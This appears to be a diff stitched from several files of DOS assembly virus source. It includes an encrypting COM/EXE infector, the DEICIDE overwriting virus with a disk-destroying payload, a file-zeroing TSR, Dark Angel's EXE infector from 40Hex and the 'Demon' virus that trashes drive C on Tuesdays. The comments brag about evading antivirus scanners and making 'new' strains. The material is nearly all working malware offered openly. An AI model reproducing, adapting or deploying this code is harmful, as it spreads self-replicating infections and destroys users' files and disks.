mov cx,22 ; our header's only 22 bytesx
call int_21
mov cx,es:[di + 0Dh] ; fix date/time
mov dx,es:[di + 0Fh]
ror dh,1
add dh,100
rol dh,1
mov ax,5701h
call int_21
dont_infect:
mov ah,3Eh ; and close the file
call int_21
cant_open:
jmp infect_exit ; infection done; exit
infect_exe:
cmp word ptr read_buffer[24],'@'
jne not_windows
jmp infect_exit ; Windows .EXE, don't infect
not_windows:
cmp word ptr read_buffer[26],0
je not_overlay
jmp infect_exit ; overlay .EXE, don't infect
not_overlay:
mov exe_flag,1 ; infect as .EXE
push es di ; move original header
push cs ; into new header area
pop es
mov si,offset read_buffer
mov di,offset header_buffer
mov cx,28
rep movsb
pop di es
push es:[di + 11h] ; save file size on stack
push es:[di + 13h]
push word ptr read_buffer[22] ; CS ...
pop exe_cs
add exe_cs,10h ; (adjust)
push word ptr read_buffer[20] ; IP ...
pop exe_ip
push word ptr read_buffer[14] ; SS ...
pop exe_ss
add exe_ss,10h ; (adjust)
push word ptr read_buffer[16] ; and SP
pop exe_sp
pop dx ax ; now we calculate new CS:IP
push ax dx ; (save these for later)
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
pop dx ax
add ax,VIRUS_SIZE + 28
adc dx,0
push ax dx
mov cl,4 ; create a stack segment
shr ax,cl
add ax,200
cmp ax,word ptr read_buffer[14]
jb no_new_stack ; if theirs is better, skip it
mov dx,-2 ; set SP to FFFE always
mov word ptr read_buffer[14],ax
mov word ptr read_buffer[16],dx
no_new_stack:
pop dx ax ; now calculate program size
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov ax,4202h ; this is just easier
cwd ; than using the SFTs
xor cx,cx
call int_21
mov ax,word ptr read_buffer[20] ; get code offset
call encrypt_and_write_virus ; encrypt virus code
; and write it to the file
mov dx,offset header_buffer ; write original header
mov cx,28 ; to file
mov ah,40h
call int_21
mov word ptr es:[di + 15h],0
mov word ptr es:[di + 17h],0 ; back to beginning of file
mov dx,offset read_buffer ; and write new header to file
mov ah,40h
call int_21
mov cx,es:[di + 0Dh] ; fix date/time
mov dx,es:[di + 0Fh]
ror dh,1
add dh,100
rol dh,1
mov ax,5701h
call int_21
mov ah,3Eh ; close file
call int_21
infect_exit:
pop es ds di si dx cx bx ax ; done ... leave
ret
encrypt_and_write_virus:
push es di bx ax ; save code offset and SFT
mov bx,ax
xor ah,ah ; get random number from
int 1Ah ; system clock
mov cipher,dl ; and use it for encryption
pop ax ; fix up offset
cmp exe_flag,0
jne not_org_100h
add ax,100h
not_org_100h:
add ax,(viral_code - virus_begin)
mov ds:code_offset,ax
add ax,(virus_end - viral_code) - 1 ; second offset
mov ds:code_offset_2,ax
mov si,offset virus_begin
mov di,offset encrypt_buffer
push cs ; move decryption module
pop es
mov cx,viral_code - virus_begin
rep movsb
mov si,offset viral_code
mov cx,virus_end - viral_code
encrypt: ; now encrypt virus code
lodsb ; with a simple encryption
decryptor_2:
xor al,dl ; key ...
shift_2:
neg dl
stosb
loop encrypt
cmp exe_flag,0 ; if .COM file,
jne exe_infection
mov ax,bx
call create_header ; create unique header
exe_infection:
pop bx di es ; restore SFT
mov ah,40h ; wrte virus code to file
mov cx,VIRUS_SIZE
mov dx,offset encrypt_buffer
call int_21
ret
check_datestamp:
mov ax,es:[di + 0Fh] ; a little routine to
cmp ah,100 ; check timestamps
ret
drop_program:
lea dx,[bp + offset weirdo] ; this creates our
push ds ; little signature
push cs
pop ds
mov ah,3Ch
mov cx,3
int 21h
jc no_drop
xchg ax,bx
mov ah,40h
mov cx,(drop_me_end - drop_me)
lea dx,[bp + offset drop_me]
int 21h
mov ah,3Eh
int 21h
no_drop:
pop ds
ret
delete_program:
mov ah,41h
lea dx,[bp + offset weirdo]
push ds
push cs
pop ds
int 21h
pop ds
ret
create_header:
push ax
add ax,100h + (offset decrypt - offset virus_begin)
mov ds:mov_1,ax ; header
inc ax
inc ax
mov ds:mov_2,ax
xor ah,ah ; fill in useless MOVs
int 1Ah ; with random bytes
mov ds:mov_al,cl
mov ds:mov_ax,dx
push dx ; modify header a little ...
and cl,7 ; make things weirder ...
add cl,0B0h
mov ds:mov_reg,cl
and dl,3
add dl,0B8h
mov ds:mov_regx,dl
pop dx
push cs
pop es
mov di,offset encrypt_buffer
add di,offset decrypt - offset virus_begin
mov ax,dx ; now fill decryption module
neg ax ; with some garbage
stosw
rol ax,1
stosw
pop ax
sub ax,20 ; fix up JMP instruction
mov ds:new_jump,ax
ret ; done
new_header db 0C7h,06
mov_1 dw 00
db 2Eh
decryptor_3 db 30h ; first MOV
mov_reg db 0B0h
mov_al db 00 ; a nothing MOV bytereg,
db 0C7h,06
mov_2 dw 00
db 07,043h ; second MOV
mov_regx db 0B8h
mov_ax dw 00 ; a nothing MOV wordreg,
db 0E9h ; jump instruction
new_jump dw 0 ; virus offset
exe_flag db 0
exe_cs dw 0 ; EXE code/stack settings
exe_ip dw 0
exe_ss dw 0
exe_sp dw 0
drop_me:
mov ah,9 ; this program is dropped
mov dx,109h ; at random times within
int 21h ; the root directory as
int 20h ; \DEI.COM
sig db 'Devils & Evangels, Inc. '
db '[DEI] MnemoniX $',0
drop_me_end:
db 'v2.00'
weirdo db '\DEI.COM',0
virus_end:
host:
mov ah,4Ch ; fake host program
int 21h
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?)
header_buffer db 28 dup (?)
encrypt_buffer db VIRUS_SIZE dup (?)
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
@@ -0,0 +1,218 @@
;***************************************************************************
; Source code of the DEICIDE Virus, original author: Glen Benton
; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion
; in Crypt Newsletter #7. The Crypt reader will also notice the
; DEICIDE listing has NO declarative red tape - no org's, no assume
; cs,ds,es stuff, no start/ends pairs or proc labels. For the average
; reader, this means TASM and MASM will choke if you try to get them to
; assemble this as is. A86 doesn't need it, as Isaacson is fond of saying,
; and this listing can be assembled directly to a .COMfile
; without the need of a linker.
;
; DEICIDE virus is a kamikaze overwriting .COM infector, with a length
; of 666 bytes in its original state. With A86, you get 665 bytes, which, we
; assume ruins, the 'aesthetics' of things just a bit. (Try adding a NOP
; to the listing if this bugs you too much.) Anyway, on call DEICIDE
; jumps right to the root directory where it looks for a any .COM file
; except COMMAND.COM to infect.
;
; If all files are infected, and DEICIDE is not on the C drive it attempts to
; ruin it anyway. If all files in the root on C are infected, the fixed disk
; is destroyed, a message displayed and the computer hung.
; If a program is successfully overwritten, DEICIDE exits to DOS
; after displaying 'File corruption error.' If DEICIDE is trapped on
; a diskette that is write-protected, it will generate noxious 'Abort,
; Retry, Ignore, Fail' messages.
;
; You can work with DEICIDE quite easily by commenting out the destructive
; sequence and reassembling. Then it will merely mess up .COM's in
; your root directory. If you forget that you're using NDOS or 4DOS, DEICIDE
; will promptly foul your command processor and the operating system
; won't load properly when you reboot. In an interesting side note,
; removing the destructive payload of DEICIDE causes SCAN to lose sight of
; DEICIDE. (There's a simple poor man's method to a 'new' strain. Fool
; your friends who think you've written a virus from scratch.)
; The DEBUG script of DEICIDE has the destructive payload "rearranged" and
; is not, strictly speaking, identical to this listing. This has made
; that copy of DEICIDE (referred to in the scriptfile as DEICIDE2)
; functionally similar to the original, but
; still invisible to SCAN v85b and a number of other commercial products.
; The lesson to be learned here is that software developers shouldn't choose
; generic disk overwriting payloads as signatures for their scanners.
;
; I must confess I'm fascinated by the mind that went into creating DEICIDE.
; Even in 1990, the DEICIDE was more of a 'hard disk bomb' than a virus.
; Think a moment. How many files are in your root directory? How long before
; this sucker activated and spoiled your afternoon? Once? Twice? In
; any case, it still is an easily understood piece of code, enjoying its
; own unique charm. Enjoy looking at DEICIDE. Your virus pal, URNST KOUCH.
;***************************************************************************
Start_Prog: jmp short Start_Virus
nop
Message db 0Dh,0Ah,'DEICIDE!'
db 0Dh,0Ah
db 0Dh,0Ah,'Glenn (666) says : BYE BYE HARDDISK!!'
db 0Dh,0Ah
db 0Dh,0Ah,'Next time be carufull with illegal stuff......$'
Start_Virus: mov ah,19h ; Get actual drive
int 21h
db 0A2h ; Mov [EA],al
dw offset Infect_Drive
db 0A2h ; A86 assembles this differently
dw offset Actual_Drive ; so put the original code here
mov ah,47h ; Get actual directory
mov dl,0
mov si,offset Actual_Dir
int 21h
mov ah,1Ah ; stash DTA in safe place
mov dx,offset New_DTA
int 21h
Infect_Next: mov ah,3Bh ; DOS chdir function, go to root dir
mov dx,offset Root_Dir
int 21h
mov ah,4Eh ; Search first .COM file
mov cx,0
mov dx,offset Search_Path ; using file mask
int 21h
Check_Command: mov al,'D' ; Check if 7th char is a 'D' (To prevent
cmp [New_DTA+24h],al ; infecting COMMAND.COM, causing
jnz Check_Infect ; noticeable boot failure)
jmp short Search_Next
nop
Check_Infect: mov ah,3Dh ; Open found file with write access
mov al,2
mov dx,offset New_DTA+1Eh
int 21h
mov File_Handle,ax ; Save handle
mov bx,ax
mov ah,57h ; Get date/time of file
mov al,0 ; why, for Heaven's sake?
int 21h
mov File_Date,dx
mov File_Time,cx
call Go_Beg_File ; Go to beginning of file
mov ah,3Fh ; Read first 2 bytes
mov cx,2
mov dx,offset Read_Buf ; into a comparison buffer
int 21h
mov al,byte ptr [Read_Buf+1] ; now, take a look at the
cmp al,offset Start_Virus-102h ; buffer and the start of
jnz Infect ; DEICIDE. Is it the
; jump? If not, infect file
mov ah,3Eh ; Already infected, so close file
int 21h
Search_Next: mov ah,4Fh ; Search next file function
int 21h
jnc Check_Command ; No error - try this file
mov al,Infect_Drive ; Skip to next drive,
cmp al,0
jnz No_A_Drive
inc al
No_A_Drive: inc al
cmp al,3 ; Is the drive C:?
jnz No_Destroy ;
; if it is and haven't been
; able to infect
mov al,2 ; Overwrite first 80 sectors,
mov bx,0 ; BUMMER!
mov cx,50h ; BUMMER!
mov dx,0 ; BUMMER!
int 26h ; BUMMER!
mov ah,9 ; Show silly message
mov dx,offset Message
int 21h
Lock_System: jmp short Lock_System ; lock up the system so the poor fool
; has to start reloading right away
No_Destroy: mov dl,al ; New actual drive
mov ah,0Eh
mov Infect_Drive,dl ; Save drive number.
int 21h
jmp Infect_Next
Infect: call Go_Beg_File ;call seek routine
mov ah,40h ; Write DEICIDE to the file
mov cx,offset End_Virus-100h ;right over the top, starting
mov dx,100h ; at the beginning, thus messing
int 21h ; up everything
mov ah,57h ; Restore date/time of file
mov al,1 ; why, for God's sake? You
mov cx,File_Time ; think no one will notice
mov dx,File_Date ; file is destroyed?
int 21h
mov ah,3Eh ; Close file, let's be neat
int 21h
mov dl,byte ptr [Actual_Drive] ; Back to original drive
mov ah,0Eh
int 21h
mov ah,3Bh ; And original dir
mov dx,offset Actual_Dir
int 21h
mov ah,9 ; Show 'File corruption error.'
mov dx,offset Quit_Message ; when destroyed, infected
int 21h ; program misfires and DEICIDE
; executes so user may be placated
int 20h ; Exit back to DOS
Go_Beg_File: mov ah,42h ; Procedure: seek to start of file
mov al,0
mov cx,0
mov dx,0
int 21h
ret
File_Date dw (?)
File_Time dw (?)
File_Handle dw (?)
Infect_Drive db (?)
Root_Dir db '\',0
Search_Path db '*.COM',0
Read_Buf db 2 dup (?)
Actual_Drive db (?)
Quit_Message db 'File corruption error.',0Dh,0Ah,'$'
New_DTA db 2Bh dup (?)
Actual_Dir db 40h dup (?)
db 'This experimental virus was written by Glenn Benton to '
db 'see if I can make a virus while learning machinecode for '
db '2,5 months. (C) 10-23-1990 by Glenn. I keep on going '
db 'making virusses.'
End_Virus:
+327
View File
@@ -0,0 +1,327 @@
INTERRUPTS SEGMENT AT 0H
ORG 9H*4 ;holds the address of its service routine
KEYBOARD_INT LABEL DWORD
ORG 21H*4 ;This is to use INT 21H
INT_21H LABEL DWORD ;which is the DOS function call interrupt
INTERRUPTS ENDS
ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer
ORG 1AH
HEAD DW ? ;Unread chars go from Head to Tail
TAIL DW ?
BUFFER DW 16 DUP (?) ;The buffer itself
BUFFER_END LABEL WORD
ROM_BIOS_DATA ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a
;".com" file
FIRST: JMP LOAD_INT_21H
COPY_RIGHT DB '(C)1985 S Holzner'
BYPASS_FLAG DB 0 ;Bypass our checking for #? 1=Yes
ZERO_FLAG DB 0 ;Was there a zero in filename? 1=Yes
CR_FLAG DB 0
DTA DD ? ;The old disk transfer area address
OLD_INT_21H DD ? ;Address INT 21H uses normally
OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt
COUNT DW ?
FCB_OFFSET DW ? ;Offset of given filename to be deleted
FCB_SEG DW 0 ;Segment address of the same.
COMMAND_INDEX DW 0
DEL_Z DB 'DEL/Z',0
CRLF DB 13,10,'$' ;Carriage return, linefeed for messages
MSG DB ' ZEROED AND DELETED.',13,10,'$' ;The message
ERR DB 'Error deleting $' ;Error message
DELZ PROC FAR ;The function call interrupt will now come here.
PUSHF ;Save flags first (will get changed by CMPs)
CMP AH,13H ;Are we deleting?
JNE JUMP ;No, jump to function call Int and do not return
CMP ZERO_FLAG,1 ;Are we supposed to zero?
JNE JUMP ;If not, don't
TEST BYPASS_FLAG,1 ;We are deleting. Is bypass on?
JZ DEL_CHECK ;No, check if we should delete file.
JUMP: POPF ;Restore flags
JMP OLD_INT_21H ;Jump to function call Int. (CALL won't work).
DEL_CHECK: ;DS:DX are pointing to filename to be deleted (from delete call)
PUSH BX ;Save all used registers to be polite
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH AX ;Save AX last since will pop first and return status in it
MOV FCB_OFFSET,DX ;Save address of the file-to-be-deleted's FCB
MOV FCB_SEG,DS ;Ditto for the segment address
MOV AH,2FH ;Now get Disk Transfer Area (DTA) address
INT 21H ;This will work since AH is not equal to 13H
MOV DTA,BX ;Store DTA address Low part
MOV DTA[2],ES ;Ditto High part
PUSH DS ;Save file-to-be-deleted's FCB's Segment address
MOV AH,1AH ;Put the new DTA in our Program Segment Prefix,
MOV DX,80H ; CS:0080H (CS came from INT 21H vector we set)
PUSH CS ;Now move DS into CS to set DTA
POP DS
INT 21H ;Set Disk Transfer Area (DTA)
POP DS ;Restore Segment address of given file's FCB
MOV DX,FCB_OFFSET ;Restore the given file's FCB's address low part
MOV AH,11H ;Ask for DOS service 11H, which asks for the
INT 21H ; first match to the given file's FCB
TEST AL,1 ;Was a match found?
JZ TOP ;Yes, start checking if we should delete.
POP AX ;No, return status 0FF (not found) in AL
MOV AL,0FFH
JMP NONE_FOUND ;Over and out.
TOP:
MOV SI,81H ;the matching file's FCB is in DTA from search
MOV DI,0C0H ;We will move the name to print and scan for #
MOV CX,0BH ;11 characters per file
PUSH DS ;Get ready for string move, set up DS and ES
PUSH CS ;Set them both to CS (use program segment
POP DS ; prefix area)
MOV DX,80H ;Point to match to open file
MOV AH,0FH ;Select the correct DOS call
INT 21H
CMP AL,0 ;If error opening file, exit
JNE ERROR
MOV BX,80H ;Set record size to 512
MOV WORD PTR [BX+14],512
MOV AX,[BX+16] ;Find the file's size in sectors
XOR DX,DX
TEST AX,511 ;Do we have to add an add'l sector?
JZ SHIF ;No, do the shift
INC DX ;Yes, add 1
SHIF: MOV CL,9 ;Divide by 512
SHR AX,CL
MOV COUNT,AX ;Store in Count
ADD COUNT,DX ;And add possible add'l sector
MOV AX,[BX+18] ;Now for the high part of size
MOV CL,7 ;Mult by 65536 div by 512
SHL AX,CL
ADD COUNT,AX ;And add to what we already have
MOV DX,80H ;Now prepare for sequential write
MOV CX,COUNT ;Do COUNT sectors
MOV AH,15H
FILL: INT 21H ;Fill with copies of this prog.
CMP AL,0 ;Error writing?
JNE ERROR ;Yes, jump to ERROR
LOOP FILL ;No, go back for next one
MOV AH,10H ;Close the file now.
INT 21H
CMP AL,0 ;Error closing?
JNE ERROR ;Yep, go to ERROR
MOV AH,13H ;No, delete the file at last (Whew)
MOV BYPASS_FLAG,1 ;Don't intercept this call
INT 21H
MOV BYPASS_FLAG,0
CMP AL,0 ;Everything OK?
JNE ERROR ;No, go to ERROR
CALL PRINT_NAME ;Yes, print the name
LEA DX,MSG ;And the zeroed message
MOV AH,9
INT 21H
JMP SAVE
ERROR: MOV AH,10H ;First make sure file is closed
INT 21H
LEA DX,ERR ;Then print error message and go on
MOV AH,9 ; to next file
INT 21H
CALL PRINT_NAME
SAVE: POP DS ;Get segment of original given file's FCB
MOV DX,FCB_OFFSET ;Search for next match -- point to original FCB
MOV AH,12H ;Search for next match
INT 21H
TEST AL,1 ;Was a match found?
JNZ OUT
JMP TOP
OUT: POP AX ;At least one file deleted, set AL acordingly,
MOV AL,0 ; which means set it to 0
NONE_FOUND:
PUSH DS ;Now we have to reset the Disk Transfer Area
PUSH AX ;Save AX since it contains success status
MOV AH,1AH ;Function call 1AH will do want we want
MOV DX,DTA[2] ;Get original DTA's segment into DS
MOV DS,DX
MOV DX,DTA ;Now get offset inside that segment of same
INT 21H ;And reset DTA
POP AX ;Restore AX with status
POP DS ;And DS with original DS
POP DI ;And restore the other registers
POP SI
POP DX
POP CX
POP BX
POPF ;We musn't forget our original PUSHF
IRET ;An interrupt deserves an IRET
DELZ ENDP ;And that's it
PRINT_NAME PROC NEAR ;This small subroutine just prints
MOV BX,80H+1 ; file's name from the FCB
MOV AH,2 ;Use DOS service 2
MOV CX,11 ;Print all 11 letters
PRINT: MOV DL,[BX] ;Printing loop
INT 21H
INC BX ;Get next letter
LOOP PRINT
RET ;And return
PRINT_NAME ENDP
READ_KEY PROC NEAR ;The keyboard interrupt will now come here.
ASSUME CS:CODE_SEG
PUSH AX ;Save the used registers for good form
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH DS
PUSHF ;First, call old keyboard interrupt
CALL OLD_KEYBOARD_INT
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV BX,ROM_BIOS_DATA
MOV DS,BX
MOV BX,TAIL ;Point to current tail
CMP BX,HEAD ;If at head, kbd int has deleted char
JNE CR ;So leave
JMP NOCR
CR: SUB BX,2 ;Point to just read in character
CMP BX,OFFSET BUFFER ;Did we undershoot buffer?
JAE NO_WRAP ;Nope
MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top
SUB BX,2
NO_WRAP:MOV DX,[BX] ;Char in DX now
CMP DL,'Z' ;Make sure we are in upper case
JBE CHAROK
SUB DL,'a'-'A' ;Make REALLY sure.
CHAROK: PUSH CS
POP DS ;Point to Code Seg with DS
ASSUME DS:CODE_SEG
CMP CR_FLAG,1 ;CR_Flag resets Zero_Flag
JNE CHECK
MOV CR_FLAG,0 ;Reset CR_Flag
MOV ZERO_FLAG,0 ;And Zero_Flag
MOV COMMAND_INDEX,0 ;As well as Command_Index
CHECK: LEA SI,DEL_Z ;Check the typed character
ADD SI,COMMAND_INDEX ;Find place in test string
CMP DL,[SI] ;Match?
JNE NOSET ;If not, forget it
INC COMMAND_INDEX ;Match! Move to next char next time
CMP DL,'/' ;For DOS 3+, delete the /Z from buffer
JNE NOTSLSH
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV CX,ROM_BIOS_DATA
MOV DS,CX
MOV TAIL,BX ;Erase character from buffer
MOV AH,10 ;Get ready to print the character
MOV CX,1
MOV AL,DL
XOR BX,BX ;Display page 0
INT 10H ;Print the '/'
MOV AH,3 ;Now prepare to move cursor over 1
INT 10H ;Get present position
ADD DX,1 ;Add 1
MOV AH,2 ;And reset cursor
INT 10H
NOTSLSH:CMP DL,'Z' ;For DOS 3+, delete the /Z from buffer
JNE NOTZ
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV CX,ROM_BIOS_DATA
MOV DS,CX
MOV TAIL,BX ;Erase character from the buffer
MOV AH,10 ;Prepare to type the 'Z'
MOV CX,1
MOV AL,DL
XOR BX,BX
INT 10H
MOV AH,3 ;And now adjust the cursor
INT 10H ;Moving it to the left 1 space
ADD DX,1
MOV AH,2
INT 10H
NOTZ: ASSUME DS:CODE_SEG
PUSH CS
POP DS
CMP BYTE PTR [SI+1],0
JNE NOSET
MOV ZERO_FLAG,1
MOV COMMAND_INDEX,0
NOSET: MOV CR_FLAG,0
CMP DX,1C0DH
JNE NOCR
MOV CR_FLAG,1
NOCR: POP DS
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
IRET
READ_KEY ENDP
LOAD_INT_21H PROC NEAR ;This subroutine installs DELZ
ASSUME DS:INTERRUPTS ;Now set DS to point to INTERRUPTS seg.
MOV AX,INTERRUPTS
MOV DS,AX
MOV AX,KEYBOARD_INT ;Get the old interrupt service routine
MOV OLD_KEYBOARD_INT,AX ;address and put it into our location
MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it.
MOV OLD_KEYBOARD_INT[2],AX
MOV KEYBOARD_INT,OFFSET READ_KEY
MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt
MOV AX,INT_21H ;Get the original function call INT's
MOV OLD_INT_21H,AX ;address and put it into our location
MOV AX,INT_21H[2] ;OLD_INT_21H so we can still jump there
MOV OLD_INT_21H[2],AX
MOV INT_21H[2],CS ;Install our delete filter's address
MOV INT_21H,OFFSET DELZ ; as new function call INT
PUSH CS ;Now point to CS in preparation for
POP DS ; terminate and stay resident call
MOV DX,OFFSET LOAD_INT_21H ;Set up everything but LOAD_INT_21H to
INT 27H ;stay and attach itself to DOS
LOAD_INT_21H ENDP ;End of loading subroutine
CODE_SEG ENDS ;End of Code Segment
END FIRST ;END "FIRST" so 8088 will go to FIRST first.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,151 @@
.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ; ID word for EXE infections
startvirus: ; virus code starts here
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
movsw
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
lea dx,[bp+exe_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
done_infections:
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
pop es
pop ds ; DS->PSP
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[si+jmpsave+2],ax
add ax,word ptr cs:[si+stacksave+2]
cli ; Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 dd 0fff00000h ; Needed for carrier file
stacksave2 dd ?
creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname db '[DemoEXE] for 40Hex',0
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-startvirus ; add virus size
adc dx, 0
mov cl, 9 ; 2**9 = 512
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax ; filesize in pages
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
mov cx, 1ah
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,40h ; Concatenate virus
lea dx,[bp+startvirus]
mov cx,heap-startvirus ; # bytes to write
int 21h
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
exe_mask db '*.exe',0
heap: ; Variables not in code
newDTA db 42 dup (?) ; Temporary DTA
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end startvirus
+136
View File
@@ -0,0 +1,136 @@
Dt: 19-Oct-91 04:19
By: Skin Head
To: All
Re: New Source Code
;========== Demon virus ==================================== 22.09.91 ========
;
; Assemble and link with: TASM DEMON.VIR
; TLINK DEMON /X/T
; Infect all .COM programs in current directory with: DEMON
;
; !!! NOT ON A TUESDAY !!!
;
;-------------- Constants and structures
Tuesday = 2 ; INT 21h, AH=2Ah
Search_Rec struc ; directory search record
db 21 dup (?) ; reserved for DOS
FileAttr db ? ; file attribute
FileTime dw ? ; packed file time
FileDate dw ? ; packed file date
FileSize dd ? ; long file size
FileName db 13 dup (?) ; ASCIIZ FILENAME.EXT
Search_Rec ends
;-------------- Demon virus segment
Virus segment
assume cs:Virus,ds:Virus,es:Virus,ss:Virus
org 0080h
DTA Search_Rec <> ; disk transfer area
org 0100h
Demon: ; virus entry point
Virus_Size = Virus_End - Demon ; virus size = 272 bytes
mov dx,offset All_COM ; find first .COM file,
mov ah,4eh ; including hidden/system
mov cx,110bh
int 21h
nop
jnc Infect ; abort if no files found
jmp short Check_Day
Infect: call Replicate ; overwrite first 272 bytes
mov dx,offset DTA
mov ah,4fh ; find next .COM file,
int 21h ; go check day if none found
nop ; else repeat
jnc Next_File
jmp short Check_Day
Next_File: jmp Infect
Check_Day: mov ah,2ah ; get DOS date, check day
int 21h
cmp al,Tuesday ; Tuesday ?
je Thrash_Drive ; if yes, thrash drive C:
mov ah,4ch ; else exit to DOS
int 21h
Thrash_Drive: mov Counter,0 ; overwrite first 160 sectors
jmp Write_Sectors ; of drive C: with garbage
Write_Sectors: mov al,Drive_C ; Error: doesn't work !
mov cx,160 ; AL=C:, CX=160 sectors
mov dx,0 ; DX=highest sector in drive !
mov bx,0 ; DS:BX=start of PSP area
int 26h ; overwrite sectors
inc Counter
cmp Counter,10 ; repeat 10 times
je Show_Msg
jne Write_Sectors
Show_Msg: mov ah,09h ; show a fake error message
mov dx,offset Virus_Msg ; and exit to DOS
int 21h
mov ah,4ch
int 21h
Replicate: mov dx,offset DTA.FileName ; save file attribute
mov ax,4300h
int 21h
mov COM_Attr,cx
nop
xor cx,cx ; unprotect the .COM file
mov ax,4301h ; in case it's read-only
int 21h
nop
mov ax,3d02h ; open .COM file for R/W,
int 21h ; abort on error
nop
jc Check_Day
mov bx,ax ; BX = file handle
mov ax,5700h
int 21h ; save file date and time
nop
mov COM_Time,cx
mov COM_Date,dx
mov dx,offset Demon ; overwrite first 272 bytes
mov ah,40h ; of .COM program file
mov cx,Virus_Size ; with the virus code
int 21h
nop
mov ax,5701h ; restore file date and time
mov dx,COM_Date
mov cx,COM_Time
int 21h
mov ah,3eh ; close the file
int 21h
nop
mov dx,offset DTA.FileName ; restore file attribute
mov cx,COM_Attr
mov ax,4301h
int 21h
retn
All_COM db '*.COM',0 ; dir search specification
COM_Date dw 0 ; packed .COM program date
COM_Time dw 0 ; packed .COM program time
COM_Attr dw 0 ; .COM program file attribute
Counter db 0 ; used when thrashing drive C:
Drive_C db 2 ; INT 26h C: drive number
dw 0
Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
dw 0
Virus_Msg db 10,13,'Error eating drive C:',10,13,'$'
Virus_End label byte ; virus code+data end
Virus ends
end Demon
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
